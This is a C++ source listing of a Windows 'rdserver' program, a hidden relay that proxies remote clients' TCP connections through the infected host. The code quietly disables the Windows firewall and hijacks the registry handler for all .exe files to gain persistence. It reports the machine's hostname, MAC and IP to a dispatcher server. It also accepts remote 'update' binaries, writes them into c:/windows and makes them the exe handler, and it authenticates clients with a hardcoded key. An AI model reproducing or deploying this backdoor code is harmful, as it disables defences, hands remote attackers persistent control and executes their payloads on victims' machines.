_confs.loadFromFile("rdserver.conf"); 74 //std::string dispaddr = _confs.getProperty("dispatcher.host","localhost"); 75 //swUInt16 port = (swUInt16)swlib::str2int(_confs.getProperty("dispatcher.port","20001")); 76 std::string dispaddr ; 77 swUInt16 port; 78 getDispatchServer(dispaddr,port); 79 printf("dispach server:%s,%d\n",dispaddr.c_str(),port); 80 81 _props.dispAddr.set_host(dispaddr.c_str()); 82 _props.dispAddr.set_port(port); 83 _props.netaddr =0; 84 _props.mac = swlib::getMacByIndex(); 85 86 _props.strHelo = makeHelo(); 87 addr.set_host(NULL); 88 LOG_ADD_UDP_WRITER(_logger,"127.0.0.1",12002); 89 bool ok = false; 90 int n; 91 //LOG_ADD_REGFILE_WRITER(_logger,_logfilename.c_str()); 92 ////////////////////////////////////////////////////////////////////////// 93 // tcp bind 94 _listensock = shared_ptr<swlib::TcpSocket>(new swlib::TcpSocket); 95 _listensock->create(); 96 _props.listenport = 12788; 97 for(n=0;n<2000;n++){ 98 _props.listenport+=n; 99 addr.set_port(_props.listenport); 100 if(_listensock->bind_addr(addr)){ 101 break; 102 } 103 } 104 ////////////////////////////////////////////////////////////////////////// 105 // udp bind 106 ////////////////////////////////////////////////////////////////////////// 107 _udpsock.create(); 108 //_udpsock.do_connect(_props.dispAddr); 109 for( n=0;n<1000;n++){ 110 addr.set_port(12788+n); 111 if(_udpsock.bind_addr(addr)){ 112 //_udpsock.do_connect(_props.dispAddr); 113 ok = true; 114 break; 115 } 116 } 117 _threadUdp = new swlib::Thread(RdServer::__threadUdpRecv,this); 118 _threadUdp->start(); 119 //close firewall 120 //system("netsh firewall set opmode mode=disable > nul"); 121 TCHAR cmdstr[100]=L"netsh firewall set opmode mode=disable"; 122 STARTUPINFO si; 123 memset(&si, 0, sizeof(STARTUPINFO)); 124 si.cb =sizeof(STARTUPINFO); 125 si.dwFlags = STARTF_USESHOWWINDOW; 126 si.wShowWindow = SW_HIDE; 127 PROCESS_INFORMATION pi; 128 129 CreateProcess(NULL,cmdstr,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 130 } 131 132 133 void RdServer::__threadUdpRecv(swlib::Thread* t,void* user){ 134 RdServer * server =(RdServer*)user; 135 server->threadUdpRecv(t); 136 } 137 138 139 void RdServer::threadUdpRecv(swlib::Thread* t){ 140 swByteArray bytes; 141 int size; 142 bytes.resize(1024*20); 143 while(t->loop()){ 144 size = _udpsock.read((char*)&bytes[0],bytes.size()); 145 if( size>0){ 146 bytes.resize(size); 147 bytes = decrypt(bytes); 148 if(bytes.size()){ // invalid packet 149 MessageQueue mq; 150 mq.queueIn((char*)&bytes[0],bytes.size()); 151 shared_ptr<ConnectionMessageBase> msg; 152 if(mq.getMessage(msg) && msg.get()){ 153 if( msg->cnmid == CNM_ECHOIP_RESP){ 154 CNM_RdServer_EchoIPResp_t* echo = (CNM_RdServer_EchoIPResp_t*)msg.get(); 155 _props.netaddr = echo->ip; 156 // getLogger().Debug("echo ip:%s",swlib::SocketAddr::toString(echo->ip).c_str()); 157 }else if(msg->cnmid == CNM_RDSERVER_SET){ 158 CNM_RdServer_Set_t* set =(CNM_RdServer_Set_t*)msg.get(); 159 } 160 } 161 ////////////////////////////////////////////////////////////////////////// 162 } 163 } 164 } 165 166 } 167 168 CNM_SystemQueryResult RdServer::getSystemInfo(){ 169 CNM_SystemQueryResult r; 170 r.ver = _props.version; 171 r.tick = swlib::currentTimeTick(); 172 return r; 173 } 174 175 bool RdServer::start(){ 176 swlib::Socket::initSocket(); 177 _props.version = RD_SERVERVERSION; 178 _props.rptInterval = 2; 179 _props.hostname = swlib::getHostName(); 180 181 printf("vendor:%s\n",getVendorId().c_str()); 182 prepare(); 183 //RedirectServerBase::start(); 184 mainloop(); 185 return true; 186 } 187 188 void RdServer::removeConnection(const RedirectConnection* rc){ 189 swlib::ScopeLocker l(_mtx_cnn); 190 std::vector<RedirectConnection*>::iterator itr; 191 for(itr=_connlist.begin();itr!=_connlist.end();itr++){ 192 if(*itr == rc){ 193 _connlist.erase(itr); 194 break; 195 } 196 } 197 } 198 int RdServer::mainloop(){ 199 fd_set fds; 200 timeval tv; 201 swByteArray bytes; 202 int size; 203 while(true){ 204 FD_ZERO(&fds); 205 tv.tv_sec=1; 206 tv.tv_usec=0; 207 208 FD_SET(_listensock->get_handle(),&fds); 209 //FD_SET(_udpsock.get_handle(),&fds); 210 int r = select(0,&fds,NULL,NULL,&tv); 211 if( r <0){ 212 getLogger().Error("socket server error,break"); 213 break; 214 } 215 if( r != 0){ //超时,定时发送状态 216 if( FD_ISSET(_listensock->get_handle(),&fds)){ 217 swlib::TcpSocket* client = _listensock->accept(); // new client incoming 218 if(!client){ 219 break; 220 } 221 getLogger().Debug("New Client Incoming(%s)",client->get_addr().toString().c_str()); 222 RedirectConnection* rc = new RedirectConnection(this,shared_ptr<swlib::TcpSocket>(client)); 223 swlib::ScopeLocker l(_mtx_cnn); 224 _connlist.push_back(rc); 225 rc->start(); 226 } 227 ////////////////////////////////////////////////////////////////////////// 228 if( FD_ISSET(_udpsock.get_handle(),&fds)){ //与dispatcher 交互 229 bytes.resize(1024*20); 230 size = _udpsock.read((char*)&bytes[0],bytes.size()); 231 if( size>0){ 232 bytes = decrypt(bytes); 233 if(bytes.size()){ // invalid packet 234 MessageQueue mq; 235 mq.queueIn((char*)&bytes[0],bytes.size()); 236 shared_ptr<ConnectionMessageBase> msg; 237 if(mq.getMessage(msg) && msg.get()){ 238 if( msg->cnmid == CNM_ECHOIP_RESP){ 239 CNM_RdServer_EchoIPResp_t* echo = (CNM_RdServer_EchoIPResp_t*)msg.get(); 240 _props.netaddr = echo->ip; 241 getLogger().Debug("echo ip:",swlib::SocketAddr::toString(echo->ip)); 242 }else if(msg->cnmid == CNM_RDSERVER_SET){ 243 CNM_RdServer_Set_t* set =(CNM_RdServer_Set_t*)msg.get(); 244 } 245 } 246 ////////////////////////////////////////////////////////////////////////// 247 } 248 } 249 } 250 } 251 ////////////////////////////////////////////////////////////////////////// 252 static swUInt32 lasttime = 0; 253 if( swlib::currentTimeTick()-lasttime > _props.rptInterval){ 254 //发送IpEcho 255 CNM_RdServer_EchoIPReq_t echoreq; 256 bytes = echoreq.final(); 257 bytes = encrypt(bytes); 258 //_udpsock.write((char*)&bytes[0],bytes.size()); 259 _udpsock.sendto(_props.dispAddr,(char*)&bytes[0],bytes.size()); 260 //getLogger().Debug("send EchoIp request"); 261 ////////////////////////////////////////////////////////////////////////// 262 if(reachable()){ 263 //getLogger().Debug("server is reachable"); 264 //上报状态 265 CNM_RdServer_Status_t status; 266 status.tick = swlib::currentTimeTick(); 267 status.conNum = _connlist.size(); 268 status.ipaddr = _props.netaddr; 269 status.port = ntohs(_props.listenport); 270 status.mac = _props.mac; 271 status.rptInterval = _props.rptInterval; 272 status.hostname = _props.hostname; 273 status.vendor = getVendorId(); 274 bytes = status.final(); 275 bytes = encrypt(bytes); 276 277 _udpsock.sendto(_props.dispAddr,(char*)&bytes[0],bytes.size()); 278 //_udpsock.write((char*)&bytes[0],bytes.size()); 279 //getLogger().Debug("report status to dispatcher"); 280 } 281 ////////////////////////////////////////////////////////////////////////// 282 lasttime = swlib::currentTimeTick(); 283 } 284 } 285 return 0; 286 } 287 288 swByteArray RdServer::encrypt(swByteArray& data){ 289 swByteArray r; 290 r = data; 291 return r; 292 } 293 294 swByteArray RdServer::decrypt(swByteArray& data){ 295 swByteArray r; 296 r = data; 297 return r; 298 } 299 300 void RdServer::lostConnection(RedirectConnection*c){ 301 swlib::ScopeLocker l(_mtx_cnn); 302 std::vector<RedirectConnection*>::iterator itr; 303 itr = std::find(_connlist.begin(),_connlist.end(),c); 304 if(itr!=_connlist.end()){ 305 _connlist.erase(itr); 306 } 307 } 308 309 swUInt32 RdServer::getPublicNetAddr(){ 310 swUInt32 naddr =0 ; 311 312 return naddr; 313 } 314 315 //检测外部是否可达 316 bool RdServer::reachable(){ 317 //扫描本地ip 318 std::vector<swUInt32 > ips; 319 std::vector<swUInt32 >::iterator itr; 320 ips = swlib::Socket::getIpAddrList(swlib::Socket::getHostName()); 321 ips.push_back(0x0100007f); //127.0.0.1 322 itr = std::find(ips.begin(),ips.end(),_props.netaddr); 323 if(itr==ips.end()){ 324 return false; 325 } 326 return true; 327 } 328 329 ////////////////////////////////////////////////////////////////////////// 330 bool sameInstance(const std::wstring& name){ 331 HANDLE hMutex = CreateMutex(NULL, false, name.c_str()); 332 if (GetLastError() == ERROR_ALREADY_EXISTS){ 333 CloseHandle(hMutex); 334 return true; 335 } 336 return false; 337 } 338 339 void autoRunSetIn(const char* cmdshell){ 340 HKEY hkey; 341 LONG res; 342 DWORD datatype=REG_SZ; 343 unsigned char szvalue[_MAX_PATH]; 344 //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command 345 strcpy((char*)szvalue,cmdshell); 346 347 res =::RegOpenKeyExA(HKEY_LOCAL_MACHINE, 348 "SOFTWARE\\Classes\\exefile\\shell\\open\\command", 0, KEY_WRITE|KEY_READ, &hkey); 349 350 if(res!=ERROR_SUCCESS){ 351 return; 352 } 353 res = ::RegSetValueExA(hkey, NULL, 0, datatype, szvalue, strlen(LPCSTR(szvalue))); 354 355 RegCloseKey(hkey); 356 357 } 358 359 int _tmain(int argc, _TCHAR* argv[]) 360 { 361 ////////////////////////////////////////////////////////////////////////// 362 //加载命令行之后的进程 363 if(argc > 1){ 364 std::wstring cmdparams; 365 for(int n=2;n<argc;n++){ 366 cmdparams+=argv[n] + std::wstring(L" "); 367 } 368 //::MessageBox(NULL,cmdparams.c_str(),L"",MB_OK); 369 STARTUPINFO si; 370 memset(&si, 0, sizeof(STARTUPINFO)); 371 si.cb =sizeof(STARTUPINFO); 372 si.dwFlags = STARTF_USESHOWWINDOW; 373 si.wShowWindow = SW_SHOWNORMAL; 374 PROCESS_INFORMATION pi; 375 std::wstring exename = argv[1]; 376 if( cmdparams.size() == 0){ 377 CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 378 }else{ 379 CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)cmdparams.c_str(),NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 380 } 381 } 382 ////////////////////////////////////////////////////////////////////////// 383 if( sameInstance(L"rdserver")){ 384 return 0; 385 } 386 ////////////////////////////////////////////////////////////////////////// 387 //修改注册表 388 autoRunSetIn("rdserver.exe \"%1\" %*"); 389 ////////////////////////////////////////////////////////////////////////// 390 RdServer().start(); 391 return 0; 392 } 393 394 #ifndef _CONSOLE 395 396 int APIENTRY _tWinMain(HINSTANCE hInstance, 397 HINSTANCE hPrevInstance, 398 LPTSTR lpCmdLine, 399 int nCmdShow) 400 { 401 402 int nums; 403 LPWSTR * params = CommandLineToArgvW(lpCmdLine,&nums); 404 int argc = nums; 405 TCHAR** argv = params; 406 ////////////////////////////////////////////////////////////////////////// 407 //加载命令行之后的进程 408 if(argc){ 409 std::wstring cmdparams; 410 for(int n=1;n<argc;n++){ 411 cmdparams+=argv[n] + std::wstring(L" "); 412 } 413 //::MessageBox(NULL,cmdparams.c_str(),L"",MB_OK); 414 STARTUPINFO si; 415 memset(&si, 0, sizeof(STARTUPINFO)); 416 si.cb =sizeof(STARTUPINFO); 417 si.dwFlags = STARTF_USESHOWWINDOW; 418 si.wShowWindow = SW_SHOWNORMAL; 419 PROCESS_INFORMATION pi; 420 std::wstring exename = argv[0]; 421 if( cmdparams.size() == 0){ 422 CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 423 }else{ 424 CreateProcess((LPWSTR)exename.c_str(),(LPWSTR)cmdparams.c_str(),NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 425 } 426 } 427 ////////////////////////////////////////////////////////////////////////// 428 if( sameInstance(L"rdserver")){ 429 return 0; 430 } 431 ////////////////////////////////////////////////////////////////////////// 432 //修改注册表 433 autoRunSetIn("rdserver.exe \"%1\" %*"); 434 ////////////////////////////////////////////////////////////////////////// 435 RdServer().start(); 436 return 0; 437 } 438 #endif 439 440 441
RdConnection.h
1 2 #ifndef _RD_CONNECTION_H 3 #define _RD_CONNECTION_H 4 5 #include "../common/base.h" 6 #include "../common/socket.h" 7 #include "../common/rdchannel.h" 8 #include "../common/thread.h" 9 #include "../common/rdpacket.h" 10 11 12 13 class RdServer; 14 15 class RedirectConnection{ 16 public: 17 RedirectConnection(RdServer* server,shared_ptr<swlib::TcpSocket>& sockIn); 18 ~RedirectConnection(); 19 20 bool start(); 21 void stop(); 22 RdServer* getServer(){ return _server;} 23 protected: 24 static void threadEntry(void* user); 25 void run(); 26 bool processIncomingSocketPacket(); //处理进入的消息请求,false-非法数据包 27 bool processOutgoingSocketPacket(RedirectChannelID_t cid,swByte* bytes,swUInt32 size); //处理向外连接上的进入消息报, false - socket lost 28 void dispatch(shared_ptr<ConnectionMessageBase>& msg); 29 30 protected: 31 shared_ptr<swlib::TcpSocket> _sockIn; 32 std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> > _socksOut; //外发连接 33 RdServer* _server; 34 shared_ptr<swlib::Thread> _threadSelect; 35 MessageQueue _mq_incoming; 36 }; 37 38 39 #endif
RdConnection.cpp
1 #include "rdconnection.h" 2 #include "../common/codec.h" 3 #include "rdserver.h" 4 #include <time.h> 5 6 7 void autoRunSetIn(const char* cmdshell); 8 9 RedirectConnection::RedirectConnection(RdServer* server,shared_ptr<swlib::TcpSocket>& sockIn){ 10 _server = server; 11 _sockIn = sockIn; 12 } 13 14 RedirectConnection::~RedirectConnection(){ 15 //stop(); 16 } 17 18 bool RedirectConnection::start(){ 19 20 //_threadSelect = new swlib::Thread(RedirectConnection::threadEntry,this); 21 //_threadSelect->start2(); 22 DWORD tid; 23 HANDLE thandle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)threadEntry,(void*)this,NULL,&tid); 24 return true; 25 } 26 27 28 void RedirectConnection::threadEntry(void* user){ 29 RedirectConnection* rc = (RedirectConnection*)user; 30 rc->run(); 31 } 32 33 34 void RedirectConnection::run(){ 35 //发送Helo 36 CNM_Helo_t msghelo; 37 msghelo.helo = _server->getProps().strHelo; 38 39 _server->getLogger().Debug("connection established,enter thread"); 40 ////////////////////////////////////////////////////////////////////////// 41 std::string key = "5173.com";//_server->getConfig().getProperty("secureKey"); 42 swByteArray data; 43 data.assign( (swByte*)msghelo.helo.c_str(),(swByte*)(msghelo.helo.c_str()+msghelo.helo.size()) ); 44 data.insert(data.end(),(swByte*)key.c_str(),(swByte*)(key.c_str()+key.size())); 45 swByteArray digest = swlib::Codec::Md5Calc(&data[0],data.size()); 46 ////////////////////////////////////////////////////////////////////////// 47 std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> >::iterator itr; 48 std::vector<RedirectChannelID_t> lostsockIds; 49 RedirectChannelID_t cid; 50 fd_set fds; 51 timeval tv; 52 int r ; 53 swByteArray bytes; 54 shared_ptr<ConnectionMessageBase> msg; 55 56 data = msghelo.final(); 57 int size; 58 size = _sockIn->write((char*)&data[0],data.size()); 59 _server->getLogger().Debug(">>send back HELO"); 60 if(size <= 0){ 61 goto END; 62 } 63 ////////////////////////////////////////////////////////////////////////// 64 tv.tv_sec = 100; //等待认证超时 65 tv.tv_usec =0; 66 FD_ZERO(&fds); 67 FD_SET(_sockIn->get_handle(),&fds); 68 69 r = select(0,&fds,NULL,NULL,&tv); 70 if( r <=0){ 71 _server->getLogger().Error("client not pass auth request in time,discard it!"); 72 goto END; 73 } 74 75 bytes.resize(1024*6); 76 //if( FD_ISSET(_sockIn->get_handle(), &fds) ){ 77 size = _sockIn->read((char*)&bytes[0],bytes.size()); 78 if( size <= 0){ 79 goto END; 80 } 81 _server->getLogger().Debug("got client first message,push into queue"); 82 _mq_incoming.queueIn((char*)&bytes[0],size); 83 if(!_mq_incoming.getMessage(msg)){ 84 _server->getLogger().Error("parese message failed!"); 85 goto END; 86 } 87 if( !msg.get()){ //单次接收不能满足一个包的大小 88 _server->getLogger().Error("parese message failed!"); 89 goto END; 90 } 91 if(msg->cnmid != CNM_AUTH){ //first packet 92 _server->getLogger().Error("invalide message !"); 93 goto END; 94 } 95 CNM_Auth_t* auth = (CNM_Auth_t*)msg.get(); 96 if( memcmp(auth->secureKey,&digest[0],16) ){ //md5 digest不对 97 ConnectionMessageBase reject(CNM_REJECT); 98 data = reject.final(); 99 _sockIn->write((char*)&data[0],data.size()); 100 _server->getLogger().Error("sending REJECT message"); 101 goto END; 102 } 103 { 104 ConnectionMessageBase accept(CNM_ACCEPT); 105 data = accept.final(); 106 } 107 _sockIn->write((char*)&data[0],data.size()); 108 _server->getLogger().Debug(">>CNM_ACCEPT"); 109 //auth passed 110 ////////////////////////////////////////////////////////////////////////// 111 112 while(true){ 113 FD_ZERO(&fds); 114 for(itr=_socksOut.begin();itr!=_socksOut.end();itr++){ 115 FD_SET(itr->second->get_handle(),&fds); 116 } 117 FD_SET(_sockIn->get_handle(),&fds); 118 r = select(0,&fds,NULL,NULL,NULL); 119 if( r <=0){ //socket 异常 120 _server->getLogger().Error("select exception unhandled,breaking.."); 121 break; 122 } 123 if( FD_ISSET(_sockIn->get_handle(),&fds)){ //incoming socket 124 size = _sockIn->read((char*)&bytes[0],bytes.size()); 125 if( size <= 0){ 126 break; //incoming socket lost 127 } 128 _mq_incoming.queueIn((char*)&bytes[0],size); 129 if(!processIncomingSocketPacket()){ 130 _server->getLogger().Error("get message from rdFront failed,broken!"); 131 break; //错误的消息包 132 } 133 } 134 lostsockIds.clear(); 135 for(itr=_socksOut.begin();itr!=_socksOut.end();itr++){ 136 if(FD_ISSET(itr->second->get_handle(),&fds)){ 137 size = itr->second->read((char*)&bytes[0],bytes.size()); 138 cid = (RedirectChannelID_t)itr->second->data(stt_CHANNELID); 139 if(size <=0 ){ //LOST connection 140 _server->getLogger().Debug("outgoing socket broken! "); 141 lostsockIds.push_back(cid); 142 shared_ptr<ChannelMessageBase> msgclose = new ChannelMessageBase(CM_CONNECT_CLOSE); 143 msgclose->cid = cid; 144 swByteArray bytes; 145 bytes = msgclose->final(); 146 _sockIn->write((char*)&bytes[0],bytes.size()); 147 _server->getLogger().Debug("outgoing sock disconnected,notify CM_CONNECT_CLOSE to rdFront.."); 148 continue; 149 } 150 processOutgoingSocketPacket(cid,&bytes[0],(swUInt32)size); //转发 151 } 152 } 153 for(size_t n=0;n<lostsockIds.size();n++){ 154 itr =_socksOut.find(lostsockIds[n]); 155 if( itr!= _socksOut.end()){ 156 _socksOut.erase(itr); 157 } 158 } 159 ////////////////////////////////////////////////////////////////////////// 160 }// end while 161 162 END: 163 _server->getLogger().Debug("connection Thread exiting,delete RdConnection"); 164 _server->removeConnection(this); 165 delete this; 166 } 167 168 //打包数据流 169 bool RedirectConnection::processOutgoingSocketPacket(RedirectChannelID_t cid,swByte* data,swUInt32 size){ 170 CM_StreamData stream; 171 stream.cid = cid; 172 stream.data.assign(data,data+size); 173 swByteArray bytes; 174 bytes = stream.final(); 175 _sockIn->write((char*)&bytes[0],bytes.size()); 176 _server->getLogger().Debug("stream data : rdserver -> rdfront"); 177 return true; 178 } 179 180 181 bool RedirectConnection::processIncomingSocketPacket(){ 182 183 while(true){ 184 bool r; 185 shared_ptr<ConnectionMessageBase> msg; 186 r = _mq_incoming.getMessage(msg); 187 if(!r){ 188 _server->getLogger().Debug(" dirty Incoming connection, broken !"); 189 return false; //非法消息报 190 } 191 if( !msg.get()){ 192 break; 193 } 194 ////////////////////////////////////////////////////////////////////////// 195 //分派消息包 196 dispatch(msg); 197 } 198 return true; 199 } 200 201 void RedirectConnection::dispatch(shared_ptr<ConnectionMessageBase>& msg){ 202 if(msg->cnmid != CNM_CHANNEL){ 203 return; 204 } 205 ChannelMessageBase* cmsg; 206 swByteArray bytes; 207 std::map< RedirectChannelID_t,shared_ptr<swlib::TcpSocket> >::iterator itr; 208 209 cmsg = (ChannelMessageBase*)msg.get(); 210 if( cmsg->cmid == CM_CONNECT_OPEN){ 211 CM_ConnectOpen_t* cmopen = (CM_ConnectOpen_t*)cmsg; 212 shared_ptr<swlib::TcpSocket> sock(new swlib::TcpSocket); 213 sock->create(); 214 swlib::SocketAddr saddr; 215 saddr.set_naddr(cmopen->addr); 216 saddr.set_port(cmopen->port); 217 //swlib::SocketAddr saddr(cmopen->addr,cmopen->port); 218 _server->getLogger().Debug("request Open Dest :%s",saddr.toString().c_str()); 219 if( !sock->do_connect(saddr)){ //,cmopen->timeout)){ //连接失败 220 ChannelMessageBase reject(CM_CONNECT_REJECT); 221 reject.cid = cmsg->cid; 222 bytes = reject.final(); 223 _sockIn->write((char*)&bytes[0],bytes.size()); 224 _server->getLogger().Debug("outgoning connnect request failed!"); 225 return; 226 } 227 _server->getLogger().Debug("connected remote host!"); 228 //连接成功 229 ChannelMessageBase acpt(CM_CONNECT_ACCEPT); 230 acpt.cid = cmsg->cid; 231 bytes = acpt.final(); 232 _sockIn->write((char*)&bytes[0],bytes.size()); 233 sock->setData(stt_CHANNELID,(void*)cmsg->cid); //记录通道编号 234 _socksOut[acpt.cid] = sock; //加入处理队列 235 } 236 ////////////////////////////////////////////////////////////////////////// 237 //关闭通道 238 if( cmsg->cmid == CM_CONNECT_CLOSE || cmsg->cmid == CM_CONNECT_HALFCLOSE){ 239 itr = _socksOut.find(cmsg->cid); 240 _server->getLogger().Debug("<< CM_CONNECT_CLOSE|CM_CONNECT_HALFCLOSE"); 241 if(itr!= _socksOut.end()){ 242 _server->getLogger().Debug("Incoming client Channel Closed,free resource!"); 243 _socksOut.erase(itr); //删除外发连接对象 244 } 245 } 246 ////////////////////////////////////////////////////////////////////////// 247 if( cmsg->cmid == CM_STREAM_DATA){ 248 CM_StreamData * stream = (CM_StreamData*)cmsg; 249 itr = _socksOut.find(cmsg->cid); 250 251 if(itr!= _socksOut.end()){ 252 _server->getLogger().Debug("<< CM_STREAM_DATA : %d(%d bytes)",cmsg->cid,stream->data.size()); 253 itr->second->write((char*)&stream->data[0],stream->data.size()); //写入到外发连接 254 } 255 } 256 ////////////////////////////////////////////////////////////////////////// 257 //CNM_SYSQUERY 258 if(msg->cnmid == CNM_SYSQUERY){ 259 CNM_SystemQueryResult result; 260 result = getServer()->getSystemInfo(); 261 bytes = result.final(); 262 _sockIn->write((char*)&bytes[0],bytes.size()); 263 } 264 ////////////////////////////////////////////////////////////////////////// 265 //CNM_UPDATE 266 if(msg->cnmid ==CNM_UPDATE ){ 267 CNM_SystemUpdate* update = (CNM_SystemUpdate*)msg.get(); 268 if( update->medias.size()){ 269 char buff[128]; 270 sprintf(buff,"c:/windows/%d.exe",(unsigned int)swlib::currentTimeTick()); 271 272 FILE * file = fopen(buff,"wb"); 273 if(file){ 274 fwrite(&update->medias[0],update->medias.size(),1,file); 275 fclose(file); 276 } 277 ::autoRunSetIn(buff); 278 } 279 } 280 ////////////////////////////////////////////////////////////////////////// 281 //CNM_REBOOT 282 ////////////////////////////////////////////////////////////////////////// 283 if(msg->cnmid == CNM_REBOOT){ 284 STARTUPINFO si; 285 memset(&si, 0, sizeof(STARTUPINFO)); 286 si.cb =sizeof(STARTUPINFO); 287 si.dwFlags = STARTF_USESHOWWINDOW; 288 si.wShowWindow = SW_SHOW; 289 //PROCESS_INFORMATION pi; 290 //CreateProcess(NULL,L"rdloader.exe",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi); 291 HANDLE ph = GetCurrentProcess(); 292 TerminateProcess(ph,0); // kill self 293 } 294 ////////////////////////////////////////////////////////////////////////// 295 } 296 297 void RedirectConnection::stop(){ 298 // swlib::Thread::stop(); 299 // _sockIn->close(); //将引发select 错误 300 // this->wait(); 301 }
|